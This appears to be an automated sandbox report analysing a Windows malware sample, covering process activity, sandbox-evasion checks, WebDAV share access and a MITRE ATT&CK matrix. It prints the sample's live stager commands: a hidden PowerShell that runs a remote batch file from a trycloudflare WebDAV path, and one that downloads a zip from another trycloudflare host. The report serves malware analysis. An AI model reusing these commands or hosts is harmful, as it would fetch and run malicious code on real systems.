Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 1472	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3164	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2323	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7369	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1048	Thread sleep count: 3164 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5136	Thread sleep count: 269 > 30	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 2424	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4068	Thread sleep count: 2323 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4068	Thread sleep count: 7369 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2680	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1096	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: cmd.exe, 0000001E.00000003.2318311250.0000025D62B3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: rundll32.exe, 00000011.00000002.1551843850.000001EC8FB93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll.
Source: rundll32.exe, 00000016.00000002.1565812654.0000020B537B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll(
Source: cmd.exe, 0000001E.00000003.2318311250.0000025D62B3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\G
Source: rundll32.exe, 0000001F.00000002.1961788980.0000020686564000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2407822609.0000013E4F8CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: rundll32.exe, 00000018.00000002.1742704031.0000028904A24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllKK

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat analyze	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\LSBIHQFDVT.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -OutFile 'C:\Users\user\Downloads\toto.zip' } catch { exit 1 }"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "try { [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; invoke-webrequest -uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -outfile 'c:\users\user\downloads\toto.zip' } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "try { [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; invoke-webrequest -uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -outfile 'c:\users\user\downloads\toto.zip' } catch { exit 1 }"			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Queries volume information: \Device\Mup\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\DE\bestellung-DKM00392pdf.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Stealing of Sensitive Information

Opens network shares

Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\DE\	Jump to behavior
Source: C:\Windows\System32\conhost.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\DE\bestellung-DKM00392pdf.lnk	Jump to behavior
Source: C:\Windows\System32\conhost.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\DE	Jump to behavior
Source: C:\Windows\System32\conhost.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\DE\bestellung-DKM00392pdf.lnk	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
